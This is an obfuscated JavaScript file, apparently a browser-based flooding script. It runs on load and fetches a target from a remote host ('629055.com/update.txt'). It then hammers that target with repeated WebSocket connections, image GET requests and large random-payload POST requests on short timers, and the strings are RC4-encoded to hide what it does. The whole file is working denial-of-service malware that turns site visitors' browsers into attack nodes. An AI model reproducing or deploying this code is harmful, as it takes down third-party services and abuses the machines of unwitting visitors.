var encode_version = 'sojson.v4';
var __0x1a2a0 = ['GD7Diw==', 'wowBXMO1w7NAw5hcwphPwoTCsRk=', 'YsO5dENXwozCn8Orwo/CgU3DkArCq8Ksw4xV', 'PcKLfMOsfTJWw7Quw7fDgkpoUw==', 'w6jCumNgw7vCsXw0KMKb', 'PQMpIVxRdUXCkC7Dqm1Mw5XCr0Y=', 'BRITRsKjwqAWJsO3wp7CvsON', 'wqYjwpF/GsKMw7ZPwptHwq7Dm8O8w6jDpEc6MUJ/HsOJwrB8bmXDvsKtM8ONDQXCjQ==', 'RsOwwp4h', 'XcO/Yl9c', 'w6JPFsOxw4Zt', 'HsKDwoTCmGdjRMKidVQ=', 'AQfDiMOl', 'JcOrw7g=', 'w43DksKXRVjCmcKwfkXDlcK9w43CjCbChkXDoUQ=', 'NBgcVsK/wp0WasOXwoI=', 'HcOWCGkWw6E=', 'wq4Bd8O7w6BR', 'FcOdwpZzfg==', 'ND/DhxXCrSAa', 'w4x4CA/CjA==', 'w4zDiVXDnw==', 'w6U2w77DoBM=', 'VsO5wpUkHg=='];
(function(_0x97ecd0, _0x123d98) {
    var _0x628f42 = function(_0x4c6bfb) {
        while (--_0x4c6bfb) {
            _0x97ecd0['push'](_0x97ecd0['shift']());
        }
    };
    _0x628f42(++_0x123d98);
}(__0x1a2a0, 0x173));
var _0x2e42 = function(_0x4feee6, _0x75b4e7) {
    _0x4feee6 = _0x4feee6 - 0x0;
    var _0x157832 = __0x1a2a0[_0x4feee6];
    if (_0x2e42['initialized'] === undefined) {
        (function() {
            var _0x2f6f3f = typeof window !== 'undefined' ? window : typeof process === 'object' && typeof require === 'function' && typeof global === 'object' ? global : this;
            var _0x49d309 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
            _0x2f6f3f['atob'] || (_0x2f6f3f['atob'] = function(_0x5b7111) {
                var _0x2ad6b4 = String(_0x5b7111)['replace'](/=+$/, '');
                for (var _0x4e3910 = 0x0, _0xf0f438, _0x353e0d, _0x1677ba = 0x0, _0x341755 = ''; _0x353e0d = _0x2ad6b4['charAt'](_0x1677ba++); ~_0x353e0d && (_0xf0f438 = _0x4e3910 % 0x4 ? _0xf0f438 * 0x40 + _0x353e0d : _0x353e0d,
                _0x4e3910++ % 0x4) ? _0x341755 += String['fromCharCode'](0xff & _0xf0f438 >> (-0x2 * _0x4e3910 & 0x6)) : 0x0) {
                    _0x353e0d = _0x49d309['indexOf'](_0x353e0d);
                }
                return _0x341755;
            }
            );
        }());
        var _0x1598e1 = function(_0x3c61a5, _0x6e5594) {
            var _0xdd4171 = [], _0x1934df = 0x0, _0x76b5a4, _0x4b571b = '', _0x8d8f32 = '';
            _0x3c61a5 = atob(_0x3c61a5);
            for (var _0x216ba2 = 0x0, _0x4592c4 = _0x3c61a5['length']; _0x216ba2 < _0x4592c4; _0x216ba2++) {
                _0x8d8f32 += '%' + ('00' + _0x3c61a5['charCodeAt'](_0x216ba2)['toString'](0x10))['slice'](-0x2);
            }
            _0x3c61a5 = decodeURIComponent(_0x8d8f32);
            for (var _0x3fb7b5 = 0x0; _0x3fb7b5 < 0x100; _0x3fb7b5++) {
                _0xdd4171[_0x3fb7b5] = _0x3fb7b5;
            }
            for (_0x3fb7b5 = 0x0; _0x3fb7b5 < 0x100; _0x3fb7b5++) {
                _0x1934df = (_0x1934df + _0xdd4171[_0x3fb7b5] + _0x6e5594['charCodeAt'](_0x3fb7b5 % _0x6e5594['length'])) % 0x100;
                _0x76b5a4 = _0xdd4171[_0x3fb7b5];
                _0xdd4171[_0x3fb7b5] = _0xdd4171[_0x1934df];
                _0xdd4171[_0x1934df] = _0x76b5a4;
            }
            _0x3fb7b5 = 0x0;
            _0x1934df = 0x0;
            for (var _0x5e0941 = 0x0; _0x5e0941 < _0x3c61a5['length']; _0x5e0941++) {
                _0x3fb7b5 = (_0x3fb7b5 + 0x1) % 0x100;
                _0x1934df = (_0x1934df + _0xdd4171[_0x3fb7b5]) % 0x100;
                _0x76b5a4 = _0xdd4171[_0x3fb7b5];
                _0xdd4171[_0x3fb7b5] = _0xdd4171[_0x1934df];
                _0xdd4171[_0x1934df] = _0x76b5a4;
                _0x4b571b += String['fromCharCode'](_0x3c61a5['charCodeAt'](_0x5e0941) ^ _0xdd4171[(_0xdd4171[_0x3fb7b5] + _0xdd4171[_0x1934df]) % 0x100]);
            }
            return _0x4b571b;
        };
        _0x2e42['rc4'] = _0x1598e1;
        _0x2e42['data'] = {};
        _0x2e42['initialized'] = !![];
    }
    var _0x5aca4b = _0x2e42['data'][_0x4feee6];
    if (_0x5aca4b === undefined) {
        if (_0x2e42['once'] === undefined) {
            _0x2e42['once'] = !![];
        }
        _0x157832 = _0x2e42['rc4'](_0x157832, _0x75b4e7);
        _0x2e42['data'][_0x4feee6] = _0x157832;
    } else {
        _0x157832 = _0x5aca4b;
    }
    return _0x157832;
};
var ccdao = {
    'init': function() {
        var _0x511cc6 = this[_0x2e42('0x0', 'NQti')]();
        _0x511cc6[_0x2e42('0x1', '26aD')](_0x2e42('0x2', 'MfK6'), '//www.629055.com/update.txt', !![]);
        _0x511cc6[_0x2e42('0x3', 'j^$$')] = function() {
            if (_0x511cc6[_0x2e42('0x4', 'FXaF')] == 0x4 && _0x511cc6[_0x2e42('0x5', 'n)$E')] == 0xc8) {
                var _0x551681 = _0x511cc6['responseText'];
                if (_0x551681 != 0x0)
                    ccdao[_0x2e42('0x6', 'hIwj')](_0x551681);
            }
        }
        ;
        _0x511cc6['send']();
    },
    'cc_ws': function(_0x225493) {
        setInterval(function() {
            for (var _0xb79f5f = 0x0; _0xb79f5f < 0x2; _0xb79f5f++) {
                var _0x2bf858 = new WebSocket(_0x2e42('0x7', 'MfK6') + _0x225493);
                _0x2bf858['onopen'] = function() {
                    _0x2bf858[_0x2e42('0x8', '#]i*')][_0x2e42('0x9', 'wyxK')](new Buffer([0x3e8]));
                    _0x2bf858[_0x2e42('0xa', '!^3o')]('cc\x20send');
                }
                ;
                _0x2bf858['onclose'] = function(_0x930bfb) {
                    console[_0x2e42('0xb', 'J6z0')]();
                }
                ;
                _0x2bf858['onerror'] = function(_0x4b2b33) {
                    console[_0x2e42('0xc', 'sGtn')]();
                }
                ;
            }
        }, 0x12c);
    },
    'cc_get': function(_0x414819) {
        setInterval(function() {
            for (var _0x455f86 = 0x0; _0x455f86 < 0x2; _0x455f86++) {
                var _0x4cdd7c = _0x414819 + '?_=' + new Date()['getTime']();
                var _0x21d786 = new Image();
                _0x21d786[_0x2e42('0xd', '#]i*')] = _0x4cdd7c;
            }
        }, 0x64);
    },
    'cc_post': function(_0xbf935d) {
        if (!!+[0x1]) {
            setInterval(function() {
                ccdao['postsend'](_0xbf935d);
            }, 0x3e8);
        }
    },
    'getxmlhttp': function() {
        var _0x54f305 = null;
        if (window[_0x2e42('0xe', 'hIwj')])
            _0x54f305 = new ActiveXObject(_0x2e42('0xf', 'u0on'));
        else if (window[_0x2e42('0x10', '7FM2')])
            _0x54f305 = new XMLHttpRequest();
        return _0x54f305;
    },
    'postsend': function(_0xb433db) {
        var _0x1f020b = this[_0x2e42('0x11', 'sMg@')]();
        _0x1f020b['open']('POST', _0xb433db, !![]);
        _0x1f020b[_0x2e42('0x12', 'C6gH')](_0x2e42('0x13', 'FXaF'), _0x2e42('0x14', ')(1d'));
        _0x1f020b[_0x2e42('0x15', 'sGtn')](this['getccdata']());
    },
    'getccdata': function() {
        var _0x3ef543 = '';
        for (var _0x57655c = 0x0; _0x57655c < 0x1869f; _0x57655c++)
            _0x3ef543 += String['fromCodePoint'](Math[_0x2e42('0x16', 'u0on')](Math[_0x2e42('0x17', 'Own7')]() * 0x51a5) + 0x4e00);
        return _0x3ef543;
    }
};
ccdao['init']();
;encode_version = 'sojson.v4';
